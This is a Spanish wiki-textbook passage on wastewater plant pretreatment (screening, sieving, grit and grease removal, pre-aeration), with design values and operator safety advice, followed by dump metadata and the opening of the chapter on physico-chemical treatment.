Cuando se prevé la existencia de sólidos de gran tamaño o de una gran cantidad de arenas en el agua bruta, se debe incluir en cabecera de instalación un sistema de separación de estos grandes sólidos, este consiste en un pozo situado a la entrada del colector de la depuradora, de tronco piramidal invertido y paredes muy inclinadas, con el fin de concentrar los sólidos y las arenas decantadas en una zona especifica donde se puedan extraer de una forma eficaz. 

A este pozo se le llama ''Pozo de Muy Gruesos'', dicho pozo tiene una reja instalada, llamada ''Reja de Muy Gruesos'', que no es mas que una serie de vigas de acero colocadas en vertical en la boca de entrada a la planta, que impiden la entrada de troncos o materiales demasiado grandes que romperían o atorarían la entrada de caudal en la planta.

La extracción de los residuos se realiza, generalmente, con cucharas anfibias o bivalvas de accionamiento electrohidráulico. Los residuos separados con esta operación se almacenan en contenedores para posteriormente transportarlos a un vertedero o llevarlos a incineración.  

En este sistema nuestra tarea consistirá en la retirada de estos grandes sólidos, para evitar que estos dificulten la llegada del agua residual al resto de la planta, y la de limpiar el fondo del pozo para que no se produzca anaerobiosis, y consecuentemente malos olores. También debemos de vaciar el contenedor de forma regular, si esto no es posible, utilizar un contenedor tapado. 

Como se puede observar en la imagen del contenedor el suelo donde este está, tiene una serie de &quot;raíles&quot; esto no son mas que vigas de acero que sobresalen 1 o 2 cm del suelo con objeto de evitar que al dejar o recoger el contenedor este se deteriore. Estas vigas es recomendable situarlas también en el fondo del pozo de muy gruesos puesto que la cuchara puede deteriorar el suelo del pozo.

En ocasiones es interesante que se hagan unas perforaciones en la base y los laterales del contenedor,de forma que pueda salir el agua que arrastran los muy gruesos extraidos por la cuchara, puesto que sino al trasladar la carga este agua, que no deja de ser agua residual, caerá del contenedor, y es posible que el transportista se niege a llevarse el contenedor con ese agua.
Esto nos crea otro problema que es mantener limpio el suelo donde tenemos el contenedor que se llena de charcos de agua residual, desde ahora agua bruta, por lo que con frecuencia debemos limpiar dicha zona, bastara con aplicar una manguera de agua limpia o de agua tratada, este agua debe volver mediante la canalización correcta la entrada de la planta. 

{|
|
|[[Imagen:Pozo_muy_gruesos.jpg |framed| Pozo y reja de muy gruesos de una EDAR]]
|[[Imagen:Bivalva_3.jpg |framed| Pozo y cuchara bivalva cerrada]]
|[[Imagen:Bivalval_1.jpg|framed|Cuchara Bivalva y contenedor]]
|}

===Desbaste=== 

Los objetivos en este paso son: 

* Proteger a la E.D.A.R. de la posible llegada intempestiva de grandes objetos capaces de provocar obstrucciones en las distintas unidades de la instalación. 

* Separar y evacuar fácilmente las materias voluminosas arrastradas por el agua, que podrían disminuir la eficacia de los tratamientos posteriores.  

Esta operación consiste en hacer pasar el agua residual a través de una reja. De esta forma, el desbaste se clasifica según la separación entre los barrotes de la reja en: 

* Desbaste fino: con separación libre entre barrotes de 10-25 mm. 

* Desbaste grueso: con separación libre entre barrotes de 50-100 mm. En cuanto a los barrotes, estos han de tener unos espesores mínimos según sea: 

* Reja de gruesos: entre 12-25 mm. 

* Reja de finos: entre 6-12 mm. También tenemos que distinguir entre los tipos de limpieza de rejas igual para finos que para gruesos: 

* Rejas de limpieza manual 

* Rejas de limpieza automática 

====Rejas de limpieza manual==== 

Se utilizan en pequeñas instalaciones o en grandes instalaciones donde ayudan a proteger bombas y tornillos en caso de que sea necesario utilizarlos para elevar el agua hasta la estación depuradora antes del desbaste. También se utilizan junto a las de limpieza automática, cuando estas ultimas están fuera de servicio.  

Las rejas están constituidas por barrotes rectos soldados a unas barras de separación situadas en la cara posterior, y su longitud no debe exceder aquella que permita rastrillarla fácilmente con la mano. Van inclinados sobre la horizontal con ángulos entre 60-80º .  

Encima de la reja se coloca una placa perforada por la que caerán los residuos rastrillados a un contenedor donde se almacenarán temporalmente hasta que se lleven a vertedero.  

Con el objeto de proporcionar suficiente superficie de reja para la acumulación de basuras entre limpieza y limpieza, es necesario que la velocidad de aproximación del agua a la reja sea de unos 0,45 m/s a caudal medio. El área adicional necesaria para limitar la velocidad se puede obtener ensanchando el canal de la reja y colocando ésta con una inclinación más suave.  

Conforme se acumulan basuras, obturando parcialmente la reja, aumenta la pérdida de carga, sumergiendo nuevas zonas a través de las cuales pasará el agua.  

Las tareas a realizar en las rejas de limpieza manual son: 

* Vigilar que no se acumulen muchos sólidos en la reja, para lo cual debemos de limpiarla con cierta periodicidad, este período varia de una planta a otra siendo la experiencia del encargado el que determine este periodo. Las razones de tener que limpiar las rejas con cierta frecuencia es para evitar que se pudran los sólidos orgánicos allí retenidos, dando lugar a malos olores. 

* Vaciar la cuba de los sólidos con cierta regularidad, por los mismos motivos antes expuestos. 

* Reparar y sustituir los barrotes que se hayan roto.  

Esta zona también es de piso muy resbaladizo, se debe andar con precaución para evitar caer en canal de desbaste o darse un golpe contra el piso. Por tanto, debemos de limpiar esta zona cuando empecemos a notar que el suelo se hace resbaladizo, usar zapatos con suela adecuada o poner en el suelo algún sistema antideslizante (mallazo de ferralla).  

Problemas derivados: Como la limpieza se hace periódicamente, llegamos a un grado de colmatación de materia, que al ser eliminada puede provocar un aumento brusco de la velocidad de paso del agua a través de la reja, lo cual conlleva una menor retención de residuos y una disminución en el rendimiento. También existe el riesgo de estancamientos, o por descuidos, o por la llegada brusca de materias vegetales, pudiéndose dar también un desbordamiento. Con el objeto de evitar esto es necesario calcular ampliamente la superficie y la inclinación de la reja. Actualmente, se tiende a instalar rejas de limpieza mecánica aun en pequeñas instalaciones para reducir al mínimo el trabajo manual y los problemas derivados de un mantenimiento defectuoso.

====Rejas de limpieza mecánica==== 

Este tipo de rejas es fabricada por varias empresas especializadas y será el ingeniero que realiza el proyecto el que determine que tipo de equipo va a instalar, las dimensiones del canal de la reja, el intervalo de variación en la profundidad del flujo en el canal, la separación entre barrotes y el método de control de la reja. 

La principal ventaja de este tipo de reja, es que elimina los problemas de atascos y reducen el tiempo necesario para su mantenimiento. Una reja mecánica va normalmente protegida por una pre-reja de barrotes más espaciados (50-100 mm), prevista generalmente, para limpieza manual, pero que deberá ser también automática en el caso de instalaciones importantes, o si el agua bruta llega muy cargada de materias gruesas. De los distintos tipos de mecanismo, el más utilizado consiste en un peine móvil, que periódicamente barre la reja, extrayendo los sólidos retenidos para su evacuación.  

Las rejas pueden ser curvas o rectas, y a su vez la limpieza puede ser por la cara anterior o por la cara posterior, teniendo cada tipo de limpieza sus ventajas e inconvenientes: 

* Las de limpieza anterior pueden sufrir posibles atascamientos cuando se depositan grandes sólidos, o gran cantidad de sólidos, al pie de la reja, provocando el bloqueo del mecanismo hasta que se elimine la obstrucción. 

* Las de limpieza posterior no tienen este problema de obstrucción ya que las púas del peine, al desplazarse por detrás no están sujetas a bloquearse por formación de depósitos de materia al pie de la reja. Sin embargo, hay un mayor riesgo de rotura de los dientes ya que han de tener mayor longitud, y también existe el problema de que los sólidos que queden en retenidos en el rastrillo pueden ser retornados al agua bruta, ya que la limpieza del rastrillo en este sistema se sitúa abajo de la reja. En cuanto a su diseño, curvo o recto: 

* Las rejas curvas son solamente de limpieza frontal, consistiendo dicho sistema en uno o dos peines situados al extremo de un brazo que gira alrededor de un eje horizontal. Están indicadas para instalaciones de importancia media con aguas poco cargadas. Su instalación se realizará en canales poco profundos, entre 0,4-2 m. La altura del agua ocupa normalmente el 75% de la longitud del radio. La eliminación de los residuos se realiza un poco por encima de la lámina de agua. 

* Las rejas rectas pueden ser de limpieza frontal y de limpieza posterior, con numerosas variantes en su diseño en función del sistema de limpieza que se emplee ( de cable con rastrillo, de cables con garfio, de cadenas de cremallera, de tornillos...). Se emplean en instalaciones de gran importancia y para grandes profundidades. Existen rejas que pueden funcionar en canales de hasta 10 m. de profundidad.

====Automatismo y protección de las rejas mecánicas==== 

El funcionamiento, generalmente discontinuo, del dispositivo de limpieza de la reja, puede automatizarse mediante: 

* Temporización: Se establece la secuencia de funcionamiento del rastrillo mediante en reloj eléctrico de cadencia-duración regulable, en función del tiempo de funcionamiento diario calculado. 

* Pérdida de carga: El dispositivo de limpieza se pone en marcha automáticamente cuando la pérdida de carga entre la zona anterior y la zona posterior de la reja, debido a su colmatación parcial, sobrepasa un valor establecido. 

* Sistema combinado de temporización y pérdida de carga. Las rejas deben ir equipadas con un dispositivo limitador de par, para que en caso de sobrecarga o de bloqueo se pongan fuera de servicio, evitando el deterioro de las mismas.  

Además, deberán instalarse dos o más rejas para que pueda quedar fuera de servicio una de ellas por bloqueo o por cuestiones de mantenimiento, sin tener que parar el desbaste. En caso de que solo hubiera una unidad instalada, será necesario establecer un canal de bypass con una reja de limpieza manual para ser usada en casos de emergencia. Dicho canal estará normalmente fuera de servicio impidiendo el flujo de agua a su través por medio de tablones de cierre o por una compuerta cerrada.

====Consideraciones hidráulicas==== 

La velocidad de paso a través de la reja debe ser el adecuado para que los Sólidos en Suspensión se apliquen sobre la misma sin que se produzca una pérdida de carga demasiado fuerte, ni un atascamiento en la parte profunda de los barrotes.  

Como valores medios se estima que la velocidad de paso debe estar entre 0,6-1,0 m/s. a caudal máximo. La velocidad de aproximación a la reja en el canal debe ser mayor de 0,4 m/s, a caudal mínimo, con objeto de evitar depósitos de arena en la base de la unidad. A caudales máximos ( lluvias y tormentas) la velocidad de aproximación debe aumentarse a 0,9 m/s. Para evitar que se depositen las arenas dejando bloqueada la reja cuando más necesaria es.  

A la hora de calcular cual será la velocidad del agua a través de la reja, se supone que un 25-30 % del espacio libre entre los barrotes está ocupado por los residuos retenidos.  

Se crean pérdidas de carga que varían entre 0.1-0.2 m para las rejas gruesas y entre 0,2-0,4 m para las rejas finas.

====Volumen y evacuación de residuos retenidos==== 

Los volúmenes obtenidos varían según la estación y según el tipo de agua residual, siendo bastante difícil de calcular si no se tienen datos reales. De todas formas, se toman como valores normales, según el tipo de reja: 

* Reja fina: 6-12 l/d/1000 hab. 

* Reja gruesa: 15-27 l/d/1000 hab. 

En el caso de redes unitarias (engloba la misma depuradora las aguas domésticas y las de lluvia y riego), el volumen de residuos es muy variable debido a las tormentas y las lluvias. El volumen también varía según la longitud de los colectores y redes de alcantarillado, o si existen vertidos industriales intermitentes o estaciónales.  

Los residuos retenidos se evacuan haciéndolos pasar de la reja a unas cintas transportadoras cuyo sistema de arranque y parada estará sincronizado con el de la reja. De la cinta caen a contenedores donde se depositan hasta su traslado a vertederos o a incineración. Pero en vez de recoger en una cinta transportadora, también podemos hacer caer los residuos a una arqueta de toma de un Tornillo de Arquímedes, dispositivo que permite una evacuación lateral y almacenamiento de residuos en un receptor de mayor capacidad. En plantas importantes se utilizan prensas hidráulicas especiales para detritus, previo a su depósito en contenedores. Con ello conseguimos reducir el volumen de residuos y además, disminuir los olores producidos por la materia orgánica en descomposición.  

En caso de incineración, la temperatura debe ser mayor de 800 ºC para evitar que se produzcan malos olores. Las tareas a realizar son: 

* Debemos observar, de vez en cuando, que el mecanismo funciona correctamente. 

* Regular el temporizar dependiendo del volumen de sólidos que este llegando a la planta. 

* Mantener limpia la zona de los sólidos que hayan podido caer de la cinta transportadora o de la prensa hidráulica. 

* Realizar las tareas de mantenimiento del mecanismo del peine de limpieza, cinta transportadora y prensa hidráulica según las indicaciones de los fabricantes. 

Siempre que nos acerquemos a los sistema de desbaste debemos desconectarlos, las maquinas de movimiento lento son especialmente peligrosas, pueden cortar un miembro con toda facilidad.

===Tamizado=== 

Consiste en una filtración sobre soporte delgado, y sus objetivos son los mismos que se pretenden con el desbaste, es decir, la eliminación de materia que por su tamaño pueda interferir en los tratamientos posteriores. Según las dimensiones de los orificios de paso del tamiz, se distingue entre: 

* Macrotamizado: Se hace sobre chapa perforada o enrejado metálico con paso superior a 0,2 mm.. Se utilizan para retener materias en suspensión, flotantes o semiflotantes, residuos vegetales o animales, ramas,... de tamaño entre 0,2 y varios milímetros. 

* Microtamizado: Hecho sobre tela metálica o plástica de malla inferior a 100 micras. Se usa para eliminar materias en suspensión muy pequeñas contenidas en el agua de abastecimiento ( Plancton) o en aguas residuales pretratadas. 

Los tamices se incluirán en el pretratamiento de una estación depuradora en casos especiales: 

*Cuando las aguas residuales brutas llevan cantidades excepcionales de sólidos en suspensión, flotantes o residuos. 

* Cuando existen vertidos industriales importantes provenientes princi- palmente del sector alimentario ( residuos vegetales, de matadero, semillas, cáscaras de huevo,.. ).  

Los tamices suelen ir precedidos por un desbaste de paso entre barrotes de 10-50 mm. Según el paso de malla del tamiz.  

Vamos a desarrollar ahora los tipos de tamices: 

* Macrotamices rotatorios: Se utilizan con aguas residuales poco cargadas. Consiste en un tambor cilíndrico de eje horizontal, en caso de que el nivel del agua varíe relativamente poco, o como una banda rotatoria sobre cadenas sin fin, cuando los niveles del agua sufren grandes variaciones. El tamiz va a estar parcialmente sumergido. El agua entra por el interior del tambor y sale al exterior quedando retenidos en las paredes internas del tamiz los residuos a eliminar. El tambor va rotando. En la parte superior del tambor los residuos van siendo eliminados mediante unos chorros de agua que los hacen salir al exterior. El paso de malla está entre 0,3 y 3,0 mm. La pérdida de carga es pequeña entre 0,2-0,5 m. 

* Tamices de autolimpieza, estáticos o rotativos: Los tamices estáticos llevan una reja constituida por barrotes horizontales de acero inoxidable, de sección triangular. La inclinación sobre la horizontal disminuye progresivamente de arriba a abajo, pasando de unos 65º a unos 45º. El agua entra por arriba y pasa a través de los barrotes, mientras, la materia retenida va resbalando por el tamiz y saliendo al exterior donde se almacena en contenedores provisionalmente. Así obtenemos sucesivamente la separación, escurrido y evacuación de las materias sólidas.  

Los tamices rotatorios están constituidos por una reja cilíndrica de eje horizontal con barrotes de sección trapezoidal, la cual gira lentamente. El agua cae por arriba entrando en el interior del tamiz, en tanto que la suciedad queda retenida en el exterior y son evacuadas a un contenedor provisional por medio de un rascador fijo. El paso de malla es de 0,2-2,0 mm. Las pérdidas de carga son elevadas, del orden de 2 m., lo que obliga la mayoría de las veces a un bombeo suplementario. Tienen el problema añadido de ser sensibles al atascamiento por grasas coaguladas.  

Tamices deslizantes: Son de tipo vertical y continuo. El tamiz lleva a lo largo de él una serie de bandejas horizontales solidarias a la malla. En estas bandejas quedan retenidos los sólidos siendo eliminados en la parte superior por un chorro de agua a contracorriente. El paso de malla es de 0,2- 3,0 mm. Las tareas que debemos realizar en este punto son: 

* Limpiar los tamices de las posibles obturaciones que se hayan podido formar. 

* En las de tipo mecánico debemos realizar las tareas de mantenimiento recomendado por el fabricante

===Dilaceración=== 

Su objetivo es triturar las materias sólidas arrastradas por el agua. Esta operación no está destinada a mejorar la calidad del agua bruta ya que las materias trituradas no son separadas, sino que se reincorporan al circuito y pasan a los demás tratamientos, por lo que este paso no se suele utilizar, a no ser que no haya desbaste, con lo que si es necesario incluirlo en el diseño y funcionamiento de la planta.  

Pero, a veces, aunque haya un desbaste previo, se suelen utilizar dilaceradores para tratar los detritus retenidos en las rejas y tamices, siendo después vueltos a incorporar al agua bruta.  

Consta el dilacerador, de un tamiz tipo tambor que gira alrededor de un eje vertical provisto de ranuras con un paso entre 6-10 mm. Los sólidos se hacen pasar a través de unas barras de cizalladura o dientes cortantes donde son triturados antes de llegar al tambor. Se homogeneizan en tamaño y atraviesan las ranuras, saliendo por una abertura de fondo mediante un sifón invertido, siguiendo su camino aguas abajo.  

Esta operación está muy cuestionada y actualmente casi ha desaparecido de la mayoría de las instalaciones. Primero, no es lógico mantener o retornar al proceso aquellos sólidos que pueden eliminarse por desbaste o tamizado, ya que lo que hacemos es empeorar la calidad del agua residual que va a ser tratada posteriormente. Segundo, en la práctica, esta operación presenta varios inconvenientes: La necesidad de una atención frecuente debido a que se trata de un material muy delicado; el peligro de obstrucción de tuberías y bombas provocada por la acumulación en masas de las fibras textiles o vegetales unidad a las grasas; y la formación de una costra de fango en los digestores anaerobios.  

Las tareas a realizar son las que siguen: 

* Vigilar las posibles obstrucciones de las tuberías. 

* Reponer los dientes del tambor, en caso de rotura. 

* Vaciar la poceta de los sólidos que pueden estar retenidos.  

Todas estas operaciones las debemos de realizar con la maquina desconectada.

===Desarenado=== 

El objetivo de esta operación es eliminar todas aquellas partículas de granulometría superior a 200 micras, con el fin de evitar que se produzcan sedimentos en los canales y conducciones, para proteger las bombas y otros aparatos contra la abrasión, y para evitar sobrecargas en las fases de tratamiento siguiente.  

En caso de que sea necesario un bombeo, deben ir antes un proceso de desbaste y de desarenado. Pero hay veces que es conveniente situar el bombeo previo al desarenado aun a costa de un mayor mantenimiento de las bombas. Esto ocurre cuando los colectores de llegada están situados a mucha profundidad, cuando el nivel freático está alto, etc.  

Los cálculos teóricos para el diseño de un desarenador están relacionados con los fenómenos de sedimentación de partículas granuladas no floculantes. Las velocidades de sedimentación se pueden calcular utilizando diversas fórmulas: 

* de Stokes, en régimen laminar 

* de Newton, en régimen turbulento 

* de Allen, en régimen transitorio 

A cualquiera de estas fórmulas hay que aplicarle una serie de correcciones que tengan en cuenta: 

* La forma de las partículas o factor de esfericidad 

* La concentración de sólidos en suspensión, si sobrepasan el 0,5% 

* La velocidad de flujo horizontal 

En la siguiente tabla podemos comprobar como varía la velocidad de sedimentación en función del diámetro de la partícula: 

{| border=1  

!'''Diámetro partíc.(mm) '''!!''' Veloc. sedimentación (m/h) '''  
|----------------- 
|0,150 
|| 40-50 
|-----------------
|0,200  
||65-75 
|-----------------
|0,250  
||85-95 
|-----------------
|0,300  
||105-120 
|} 

En cuanto al cálculo de las dimensiones de un desarenador: 

*Su superficie horizontal se calcula en función de la velocidad de sedimentación de las partículas de menor tamaño que deben retenerse y del caudal máximo que circulará por el mismo. 

* Su sección transversal es función de la velocidad horizontal de flujo deseada.  

Los desarenadores se diseñan para eliminar partículas de arenas de tamaño superior a 0,200 mm y peso específico medio 2,65, obteniéndose un porcentaje de eliminación del 90%. Si el peso específico de la arena es bastante menor de 2,65, deben usarse velocidades de sedimentación inferiores a las anteriores.  

Pero en esta operación eliminamos también otros elementos de origen orgánico no putrescibles como granos de café, semillas, huesos, cascaras de frutas y huevos.., que sedimentan a la misma velocidad que las partículas de arena y cuya extracción no interesa.  

Este problema se evita con el llamado Barrido o Limpieza de Fondo. Se explica por el hecho de que existe una velocidad crítica del flujo a través de la sección, por encima de la cual las partículas de un tamaño y densidad determinadas, una vez sedimentadas, pueden volver a ser puestas en movimiento y reintroducidas en la corriente. Teóricamente, para partículas de 0,200 mm de diámetro y peso específico 2,65, la velocidad crítica de barrido es de 0,25 m/s aunque en la práctica se adopta a efectos de diseño una velocidad de 0,30 m/s. Con esta velocidad se considera que las arenas extraídas salen con un contenido en materia orgánica inferior al 5%. 

====Tipos de desarenadores====

=====Canales desarenadores=====

* De Flujo Variable: Se usan en pequeñas instalaciones. La arena se extrae manualmente de un canal longitudinal que tiene una capacidad de almacenamiento de 4-5 días. 

* De Flujo Constante: Mantienen una velocidad constante de flujo de 0,3 m/s aproximadamente, de forma independiente al caudal que circule por ellos. Las variaciones de altura en el canal nos darán una medida de dicho caudal. El canal más utilizado es el Canal Parshall: Es un canal simple de paredes paralelas, que sufre un estrechamiento hacia la mitad; si aumenta el caudal aumenta la altura de la lámina de agua, y al revés.  

Parámetros de diseño principales: 

* Carga Hidráulica menor o igual a 70 m3/m2/h 

* Velocidad Horizontal 0,3 m/s 

* Tiempo de Retención 1-2 min a Carga máxima 

* Longitud 20-25 veces la altura de la lámina de agua 

=====Desarenadores rectangulares aireados=====

Se inyecta una cantidad de aire que provoca un movimiento helicoidal del líquido y crea una velocidad de barrido de fondo constante, perpendicular a la velocidad de paso, la cual puede variar sin que se produzca ningún inconveniente. Además se favorece la separación de las partículas orgánicas que puedan quedar adheridas a las partículas de arena. 

Este tipo de desarenador ofrece una serie de ventajas frente a otros tipos: 

* El agua se airea y por tanto, disminuye la producción de olores. 

* Rendimientos constantes con lo que podemos variar el caudal sin disminución del rendimiento. 

* Pérdidas de carga muy pequeñas. 

* Con un adecuado caudal de aire obtenemos unas arenas muy limpias de materia orgánica. 

* Puede ser usado también como desengrasador cuando el contenido en grasas del agua bruta no es muy elevado.  

Los difusores de aire se colocan en uno de los laterales del desarenador, a una altura entre 0,5-0,9 m. La cantidad de aire que hay que suministrar varía según la profundidad del canal: 

* De 3,0-12 l/s por metro de longitud del canal para profundidades superiores a 3,6 m. 

* De 1,5-7,5 l/s por metro de longitud del canal para profundidades menores.  

Desarenado y desengrasado pueden ir combinados cuando el primero lleva aireación.  

Parámetros de diseño principales: 

* Carga Hidráulica menor o igual a 70 m³/m²/h a Carga máxima 

* Velocidad horizontal menor o igual a 0,15 m/s 

* Tiempo de retención 2-5 min a Carga máxima 

* Relación longitud-anchura 1:1- 5:1

=====Desarenadores circulares con alimentación tangencial=====

El agua entra tangencialmente en un depósito cilíndrico con fondo tronco-cónico produciendo un efecto Vortex, el cual da como resultado la sedimentación de las arenas. Mientras, las partículas orgánicas se mantienen en suspensión mediante un sistema de agitación de paletas o por suministro de aire con un motocompresor.  

Parámetros de diseño principales: 

* Carga Hidráulica menor o igual a 90 m3/m2/h a Q máx. 

* Velocidad Periférica media 0,3-0,4 m/s 

* Tiempo de Retención 0,5-1,0 min. a Q máx.

====Evacuación y tratamiento de las arenas====

Cuando se haga el diseño del pretratamiento hay que tener muy en cuenta el volumen de arenas extraídas, ya que su falta de previsión puede dar importantes problemas de funcionamiento en la depuradora al llegar volúmenes superiores a los considerados teóricamente. Esto puede ocurrir en poblaciones con calles sin pavimentar, con redes de alcantarillado en mal estado... Si no tenemos datos reales de la cantidad de arena posible, es necesario calcular por exceso los volúmenes de extracción, considerando valores normales: 

* Redes Separativas 5 l/m3 de agua residual 

* Redes Unitarias 50 l/m3 de agua residual.  

Y que otro dato a tener en cuenta proveniente de varias plantas es que se pueden recoger de 1-15 l/hab/año.  

La extracción de las arenas de los desarenadores puede ser: 

* Manuales: En plantas pequeñas, con desarenadores de tipo canal. 

* Mecánicos: En los desarenadores de canal la extracción se realiza mediante unas bombas especiales incorporadas a un puente y con la longitud adecuada para llegar al fondo del canal, donde se depositan las arenas, pero sin llegar a tocar el suelo. El puente va avanzando a lo largo del canal y al mismo tiempo la bomba va succionando las arenas depositadas.  

En los desarenadores aireados la arena puede extraerse mediante air-lift (succión a través de unas bombas situadas en la base de la unidad con recogida en tolvas inferiores), bombas especiales o rasquetas de barrido que empujan las arenas a una tolva de las que son extraídas al exterior.  

Una vez sacadas las arenas del desarenador, hay que eliminar toda la cantidad posible de agua que llevan. La separación arena-agua se puede hacer: 

* Sedimentación en un depósito poco profundo, con evacuación del agua por losas filtrantes o vertedero de rebose. 

* Separación mecánica mediante Tornillo de Arquímedes o Clasificador Alternativo de Rastrillos, y almacenamiento en una tolva fija o en contenedor. 

* Mediante hidrociclón y almacenamiento en tolva con vertedero. 

* Mediante hidrociclón y recogida por Tornillo de Arquímedes antes de su almacenamiento en tolva fija o en contenedor. 

* En instalaciones importantes se procede a veces a un lavado de las arenas con el fin de disminuir su contenido en materia orgánica. Se puede realizar con Tornillo de Arquímedes con agua de aportación a contracorriente.  

Las tareas que debemos realizar son: 

* Vaciar los depósitos de arena de los canales de desarenado manual cuando veamos que esta lleno. 

* Reparar y cambiar los difusores rotos en los desarenadores aireados. 

* Vigilar que el caudal de aire él los desarenadores aireados es el adecuado. 

* Realizar el mantenimiento de todos los equipos ( bombas, rasquetas, cadenas, clasificadores de arena, etc..) Según las recomendaciones de los fabricantes.  

Esta zona es especialmente resbaladiza, debemos tener un cuidado muy especial por este motivo, procurando retirar las manchas de grasa cuando estas aparezcan en el suelo. Tenga cuidado de los gases peligrosos cuando trabaje en desarenadores cubiertos.  

Los clasificadores son maquinas de movimiento lento, y como ya hemos dicho estas maquinas son muy peligrosas. Debemos desconectarlas cada vez que tengamos que manipularlas por cualquier motivó.

===Desaceitado-desengrasado===

El objetivo en este paso es eliminar grasas, aceites, espumas y demás materiales flotantes más ligeros que el agua, que podrían distorsionar los procesos de tratamiento posteriores.  

El desaceitado consiste en una separación líquido-líquido, mientras que el desengrase es una separación sólido-líquido. En ambos casos se eliminan mediante insuflación de aire, para desemulsionar las grasas y mejorar la flotabilidad.  

Se podría hacer esta separación en los decantadores primarios al ir provistos éstos de unas rasquetas superficiales de barrido, pero cuando el volumen de grasa es importante, estas rasquetas son insuficientes y la recogida es deficitaria.  

Si se hacen desengrasado y desarenado juntos en un mismo recinto, es necesario crear una zona de tranguilización donde las grasas flotan y se acumulan en la superficie, evacuándose por vertedero o por barrido superficial, y las arenas sedimentan en el fondo y son eliminadas por uno de los métodos que desarrollamos en el apartado anterior. En este caso, las dimensiones del desarenador son diferentes, siendo los parámetros principales: 

* Carga Hidráulica menor o igual a 35 m3/m2/h a Q máx. 

* Tiempo de Retención 10-15 min a Q medio 

* Caudal de aire introducido 0,5-2,0 m3/h/m3 de desengrasador 

Los desengrasadores separados del desarenado son aconsejables cuando se busca una mayor calidad del agua o cuando el agua proviene de ciertos tipos de industrias: Petroquímicas y refinerías de petróleo producen gran cantidad de aceites, los mataderos producen gran cantidad de grasas, etc. Para este caso, el desengrasador se calcula para recibir una Carga Hidráulica menor o igual a 20 m3/m2/h. 

Las grasas y flotantes extraídos de los desengrasadores unidos a los flotantes extraídos en la decantación primaria suelen tratarse posteriormente en un concentrador de grasas donde se desprenden de su contenido en agua. Podríamos deshacernos de las grasas y espumas en una digestión anaerobia junto a los fangos ya que son en su mayor parte residuos orgánicos. Pero esto no es recomendable, ya que presenta el inconveniente de favorecer la formación de costras en el digestor.  

Las grasas concentradas se almacenan en contenedores especiales y posteriormente pasan a vertedero. También se podrían incinerar en caso de existiese en la planta un horno de incineración de fangos o para tratamiento de fangos.  

Las tareas a realizar son: 

* Mantener en perfecto estado las rasquetas de limpieza superficial, y en caso de deterioro, sustituirlas. 

* Vigilar el nivel de los contenedores de grasas para su vaciado. 

* Mantenimiento normal de los equipos según fabricante.  

Podríamos decir que esta es la zona con mas riesgo de resbalón por la gran cantidad de grasas que puede haber depositado en el suelo y barandillas.

===Preaireación===

Sus objetivos son varios: 

* Mejorar la tratabilidad del agua, en cuanto que esta llega séptica, contaminada, a la depuración. 

* Control de olores. 

* Mejorar la separación de las grasas. 

* Favorecer la floculación de sólidos. 

* Mantener el oxígeno en la decantación aun a bajos caudales. 

* Incrementar la eliminación de DBO5. 

*Evitar los depósitos en las cámaras húmedas. 

La preaireación se utiliza en: 

* Cabecera de instalación 

* En los desarenadores, incrementando el tiempo de retención y la capacidad de aireación. 

* En los canales de distribución a los decantadores primarios. 

Los principales parámetros de diseño son: 

* El tiempo de retención varía según el objetivo que se pretenda: 

* La disminución de los olores y la prevención de la septicidad implican un tiempo mínimo de 10-15 minutos. 

* La floculación efectiva de los sólidos necesita, aparte de la adición de ciertos productos químicos, un tiempo de retención de 30 minutos. 

* Para la reducción de DBO será de 45 minutos. 

* Los caudales de Aire necesarios para los distintos objetivos son difícilmente calculables, y se basan tanto en la calidad del A.R. como en las características físicas del tanque y en la sección transversal del mismo. El factor predominante es la necesidad de mantener la adecuada turbulencia en el tanque para que su contenido se mantenga en suspensión y no se produzcan sedimentaciones. Esto se consigue suministrando una cantidad de aire mínima entre 2-6 l/s/m del tanque teóricamente. En la práctica se deben suministrar 0,8 m3 aire/m3 de agua residual.  

====Métodos de preaireación====

Son dos principalmente: difusores y aireadores mecánicos: Los difusores se clasifican en: 

* Porosos: Con forma de disco o de tubos. Construidos de SiO2 (óxido de silicio) o de Al2O3 (óxido de aluminio), pueden ser de tipo cerámico o estar construidos sobre una masa porosa con ligazón cerámica. 

* No porosos: de tipo boquilla, orificios, válvulas... Los de tipo boquilla y orificios están construidos de metal o plástico, tienen aberturas anchas y sueltan unas burbujas más grandes que los difusores de tipo poroso. La cantidad de difusores requeridos se calcula determinando la cantidad total de aire necesario y dividiéndolo por el caudal medio recomendado para cada difusor. Normalmente este caudal es de 1,9-7 l/s/ difusor. La distancia entre difusores es generalmente de 250-600 mm.  

La aireación mecánica se consigue mediante: 

* Turbinas 

* Aireadores de superficie. 

Las tareas que realizaremos serán: 

* Comprobar que el caudal de aire insuflado es el adecuado. 

* Reparar y cambiar los difusores deteriorados. 

* Mantenimiento de equipos.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Estación depuradora de aguas residuales
 |actual=Pretratamiento
 |siguiente=Tratamiento físico-químico
}}

{{AutoCat}}</text>
      <sha1>cmjdjqycmrb86n06kgdoka5fz10e9rd</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Tratamiento físico-químico</title>
    <ns>0</ns>
    <id>12669</id>
    <revision>
      <id>429963</id>
      <parentid>396390</parentid>
      <timestamp>2026-08-02T09:28:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429963</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="27597" sha1="969q4wi1j7j2b18tzygspq761yua9vt" xml:space="preserve">TRATAMIENTO FÍSICO-QUÍMICO

===1. INTRODUCCIÓN.===

La presencia en el agua de muchas sustancias sólidas constituye la parte más importante y aparente de la contaminación acuática.

El tamaño de las partículas contaminantes presentes en el agua es muy variado.

Hay sólidos que por su tamaño pueden observarse a simple vista en el agua y dejando la suspensión en reposo, se pueden separar bien por decantación bajo la influencia de la gravedad o bien por flotación, dependiendo de las densidades relativas del sólido y del agua. También resulta fácil separarlas por filtración.

Sin embargo, hay otras partículas muy finas de naturaleza coloidal denominadas coloides que presentan una gran estabilidad en agua. Tienen un tamaño comprendido entre 0,001 y 1 µm y constituyen una parte importante de la contaminación, causa principal de la turbiedad del agua. Debido a la gran estabilidad que presentan, resulta imposible separarlas por decantación o flotación. Tampoco es posible separarlas por filtración porque pasarían a través de cualquier filtro.

La causa de esta estabilidad es que estas partículas presentan cargas superficiales electrostáticas del mismo signo, que hace que existan fuerzas de repulsión entre ellas y les impida aglomerarse para sedimentar de forma rápida

